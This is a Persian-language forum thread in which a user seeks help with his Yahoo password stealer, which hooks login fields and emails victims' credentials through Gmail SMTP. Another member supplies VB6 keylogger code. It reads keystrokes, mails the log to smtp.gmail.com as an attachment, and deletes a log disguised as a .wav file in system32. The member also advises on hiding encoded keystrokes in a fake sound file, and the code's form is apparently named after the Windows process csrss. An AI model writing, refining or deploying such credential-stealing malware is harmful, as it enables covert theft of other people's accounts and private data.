سلام به همه دوستان ! من یک پسورد سندر نوشتم که پسورد آیدی یاهو انواع ورژن ها رو میگیره و برای ارسال ایمیل هم از Smtp Gmail استفاده میکنه ! الان من یک مشکلی دارم.من یک تایمر در فرم قرار دادم که در مدت 5 دقیقه به 5 دقیقه پسورد های گرفته شده رو به ایمیل مورد نظر ارسال میکنه ! اما این زیاد خوب نیست ! چون هم رو اعصاب کاربر راه میره و هم ممکنه جیمیلی که از اون برای ارسال ایمیل استفاده کردم به دلیل اسپم زیاد مسدود بشه ! حالا سوال من این هست که چطور میشه کاری کرد قربانی همینطور که آیدی و پسورد خودش رو وارد کرد و گزینه Sign In رو زد پسورد به ایمیل مورد نظر بره؟
ممنون از همه دوستان عزیز
سلام
شما پسووردتون اصولا تو یه فایل ذخیره میشه
شما باید سایز فایل را بدست بیارید
و بعد شرط بزارید
شرط بزارید که حجم فایل مثلا از 1 کیلو بایت بیشتر بشه فایل شما سند بشه و بعد از سند شدن پاک بشه
ممنون امین جان ! فقط شما یک مثال یا سورسی ندارید که به وسیله همون ببینم چکار باید کرد.مرسی
سلام براي تشكر از دكمه تشكر استفاده كن دوست عزيز
بيا يكي واست نوشتم ولي مردم گناه دارن پسووردها را ميزني خيلي حال گيريه
خواهشي كه از شما دارم وقتي پسوورد يكي را ميزني بعد يك ماه بهش بده من خودم بد جور پسوورد ميزدم ولي پسوورد را بهشون ميدادم نزار كسي نفرينت كنه خوب ديگه بريم سراغ يه مثال
اينو واست نوشتم :
کد:
Private Sub Timer1_Timer()
Dim amin As String
amin = FileLen("c:\amin.txt")
If amin > 622783 Then MsgBox ("file amin.txt sizesh az 622783 Byte bishtar Shode hast")
End Sub
موفق باشي
ممنون ! ولی معمولا کیلاگر ها کلید های زده شده رو در یک فایل Txt ثبت میکنن اما برنامه من به وسیله هوک پسورد رو میکشه بیرون و در هیچ جایی ذخیره نمیکنه جز سرور که اونم دیده نمیشه و همیشه در حال اجرا شدن هست....واسه این باید چکار کرد؟
كليدهاي ثبت شده كيلاگر خودم در فايل sound.wav بود و حتا كليدهاي ثبت شده را اينكود ميكردم و توسط برنامه خودم دكود ميكردم
خوب وقتي مثلا فايل sound.wav سند ميشد و وقتي ارسال ميكرد فايل sound.wav پاك ميشد دوباره كليدها را ذخيره ميكرد و توسط تايمر چك ميكرد و اگر سايز فايل كليدها 4 كيلوبايت ميشد دوباره سند ميكرد و فيل sound.wav را پاك ميكرد.
بعد من شرط ميزاشتم اگر ايميلم سند شد بياد فايل sound.wav را پاك كنه امكان داره سند نشه اخه يايد يه شرط ديگه هم بزاري
خیلی خوبه ! ولی من فعلا به این شکل پیش رفتم...نمیشه کاری کرد که سرور طوری باشه که طرف روی گزینه Sign In کلیک کرد ایمیل ارسال بشه؟ یعنی فال گوش بمونه.اینطوری بهتره چون برنامه من پس رو به صورت کیلاگر نمیگیره.
نميدونم چطوري شما برنامتو نوشتي
شما چك كن بيبين طرف به اينترنت وصله و بعد وقتي كه طرف دكمه ورود را ميزنه يوزر و كلمه عبورش سيو ميشه از رو حجمش ميفهمي ديگه
ولي من پس سندر شما نميدونم چطوري هست و چكار ميكنه دقيقا
باشه امین جان من الان کامل بهت میگم که چیکار کردم !
دو تا تکس در فرم خودم قرار دادم که یکیش برای یاهو آیدی و دیگری برای پسورد هست.این دو تا تکس یوزر و پسورد رو به صورت هوک وقتی که طرف وارد میکنه کپچر میکنن و داخل اون تکس ها میره..یعنی هر چی تو برنامه یاهو بنویسی داخل اون تکس ها هم نوشته میشه...
بعد برای ایمیل هم یک تایمر قرار دادم و مقدار رو به 5 دقیقه تنظیم کردم ! یعنی وقتی که قربانی با آیدی لاگین شد اون تایمر متن اون دو تا تکس که شامل آیدی و پسورد هست رو به ایمیل مورد نظر من میفرسته.یعنی اگه قربانی آیدی خودش رو فقط یک دقیقه بالا بیاره چون یوزر و پسورد پاک میشه دیگه متنی توسط ایمیل فرستاده نمیشه و این خودش یک نوع مشکل هست.من واسه همین میخوام کاری کنم که وقتی طرف با آیدی خودش لاگین شد همون لحظه اطلاعات اون دو تا تکس به وسیله Smtp به ایمیل ارسال بشه.
امیدوارم که منظورم رو فهمیده باشی...
ممنون میشم اگه یک کاری واسم بکنی که مشکلم حل بشه.
ماجول كيلاگرمو يه نگاه كن خيلي بدردت ميخوره
کد:
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Option Explicit
Function SendMail(Sender As String, Subject As String, Reciever As String, Text As String, Password As String, AttachFile As String) As Boolean
On Error Resume Next
If Sender <> "" Or Password <> "" Then
csrss .MousePointer = 11
Dim iMsg, iConf, Flds, schema, SendEmailGmail
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = Sender
Flds.Item(schema & "sendpassword") = Password
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
DoEvents
.To = Reciever
.From = Sender
.Subject = Subject
.HTMLBody = Text
.Sender = Sender
.Organization = "S.M.B Productions"
.ReplyTo = Sender
If AttachFile <> "" Then
.AddAttachment (AttachFile)
End If
Set .Configuration = iConf
SendEmailGmail = .Send
End With
Set iMsg = Nothing
Set iConf = Nothing
Set Flds = Nothing
csrss .MousePointer = 0
SendMail = True
Kill "\WINDOWS\system32\BuzzingBee .wav"
Else
SendMail = False
End If
End Function
Public Function WinDir() As String
Dim SysPath As String
SysPath = String(255, vbNullChar)
GetWindowsDirectory SysPath, 255
WinDir = Left(SysPath, InStr(SysPath, vbNullChar) - 1)
End Function
Public Function SysDir() As String
Dim SysPath As String
SysPath = String(255, vbNullChar)
GetSystemDirectory SysPath, 255
SysDir = Left(SysPath, InStr(SysPath, vbNullChar) - 1)
End Function
Kill "\WINDOWS\system32\BuzzingBee .wav"
این همون چیزی هست که لاگ ها در اون ذخیره میشه و ارسال میشه؟
خیلی جالبه.
ولی هنوز راهی واسه من پیدا نکردی؟
فهمیدی که سرور رو چطوری ساختم؟